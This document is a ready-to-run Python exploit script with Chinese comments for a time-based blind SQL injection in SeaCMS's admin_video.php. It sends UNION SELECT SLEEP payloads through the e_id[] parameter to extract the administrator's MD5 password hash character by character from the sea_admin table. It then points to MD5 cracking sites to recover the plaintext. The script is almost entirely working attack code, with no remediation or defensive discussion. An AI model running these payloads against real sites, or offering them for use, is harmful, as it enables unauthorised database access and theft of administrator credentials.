SeaCMS Backend admin_video.php SQL Injection

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SeaCMS admin_video.php SQL注入利用脚本
=====================================
漏洞类型: 时间盲注 (Time-Based Blind SQL Injection)
漏洞位置: admin_video.php - lockall功能
利用方式: UNION SELECT + SLEEP
前提条件: 需要有效的后台管理员Session
"""

import requests
import sys
import time
import string

# ==================== 配置区域 ====================
TARGET_URL = "http://127.0.0.1/4qla8z/admin_video.php"
SESSION_ID = "9atb4kl0l2h9104t1iqi5p0kvk"  # 替换为有效的Session ID
SLEEP_TIME = 2  # 延迟时间（秒）
THRESHOLD = 1.5  # 判断延迟的阈值（秒）
# =================================================

# MD5密码字符集 (0-9, a-f)
CHARSET = "0123456789abcdef"

def print_banner():
   """打印Banner"""
   print("""
╔═══════════════════════════════════════════════════════════╗
║     SeaCMS admin_video.php SQL注入利用工具                ║
║     Time-Based Blind SQL Injection Exploit                ║
╠═══════════════════════════════════════════════════════════╣
║  漏洞文件: admin_video.php                                ║
║  注入点:   e_id[] 参数                                    ║
║  技术:     UNION SELECT + SLEEP                           ║
╚═══════════════════════════════════════════════════════════╝
   """)

def check_connection():
   """检查目标连接"""
   print("[*] 检查目标连接...")
   try:
       cookies = {"PHPSESSID": SESSION_ID}
       response = requests.post(
           TARGET_URL,
           data={"action": "lockall", "e_id[]": "-1"},
           cookies=cookies,
           timeout=10
       )
       if "请先登陆" in response.text or "login" in response.text.lower():
           print("[!] Session无效，请更新SESSION_ID")
           return False
       print("[+] 连接成功，Session有效")
       return True
   except Exception as e:
       print(f"[!] 连接失败: {e}")
       return False

def test_injection():
   """测试SQL注入是否有效"""
   print("[*] 测试SQL注入...")
   
   cookies = {"PHPSESSID": SESSION_ID}
   
   # 基线测试（无延迟）
   start = time.time()
   requests.post(
       TARGET_URL,
       data={"action": "lockall", "e_id[]": "-1) UNION SELECT 1,2-- "},
       cookies=cookies,
       timeout=30
   )
   baseline = time.time() - start
   
   # 延迟测试
   payload = f"-1) UNION SELECT SLEEP({SLEEP_TIME}),2-- "
   start = time.time()
   requests.post(
       TARGET_URL,
       data={"action": "lockall", "e_id[]": payload},
       cookies=cookies,
       timeout=30
   )
   delayed = time.time() - start
   
   print(f"    基线响应时间: {baseline:.2f}秒")
   print(f"    延迟响应时间: {delayed:.2f}秒")
   
   if delayed - baseline > THRESHOLD:
       print(f"[+] SQL注入确认有效! (延迟差: {delayed - baseline:.2f}秒)")
       return True
   else:
       print("[!] SQL注入测试失败")
       return False

def extract_char(position, query):
   """提取指定位置的字符"""
   cookies = {"PHPSESSID": SESSION_ID}
   
   for char in CHARSET:
       hex_char = hex(ord(char))
       payload = f"-1) UNION SELECT IF(SUBSTR(({query}),{position},1)={hex_char},SLEEP({SLEEP_TIME}),1),2-- "
       
       start = time.time()
       try:
           requests.post(
               TARGET_URL,
               data={"action": "lockall", "e_id[]": payload},
               cookies=cookies,
               timeout=30
           )
       except requests.exceptions.Timeout:
           return char
           
       elapsed = time.time() - start
       
       if elapsed > THRESHOLD:
           return char
   
   return None

def extract_password(max_length=32):
   """提取管理员密码（MD5格式，32位）"""
   print("\n[*] 开始提取管理员密码...")
   print(f"    目标: sea_admin表 password字段")
   print(f"    预期长度: {max_length}位 (MD5)")
   print("-" * 50)
   
   query = "SELECT password FROM sea_admin LIMIT 1"
   password = ""
   
   for i in range(1, max_length + 1):
       char = extract_char(i, query)
       if char:
           password += char
           print(f"    位置 {i:02d}: {char}  当前密码: {password}")
       else:
           print(f"    位置 {i:02d}: 提取失败，可能已到达末尾")
           break
   
   return password

def main():
   print_banner()
   
   print(f"[*] 目标URL: {TARGET_URL}")
   print(f"[*] Session: {SESSION_ID[:10]}...")
   print(f"[*] 延迟时间: {SLEEP_TIME}秒")
   print("-" * 50)
   
   if not check_connection():
       sys.exit(1)
   
   if not test_injection():
       sys.exit(1)
   
   password = extract_password()
   
   print("\n" + "=" * 50)
   print(f"[+] 提取完成!")
   print(f"[+] 管理员密码(MD5): {password}")
   print("=" * 50)
   
   # 常见MD5查询提示
   if password:
       print(f"\n[*] 可到以下网站查询MD5明文:")
       print(f"    - https://cmd5.com")
       print(f"    - https://www.somd5.com")
       print(f"    - https://crackstation.net")

if __name__ == "__main__":
   main()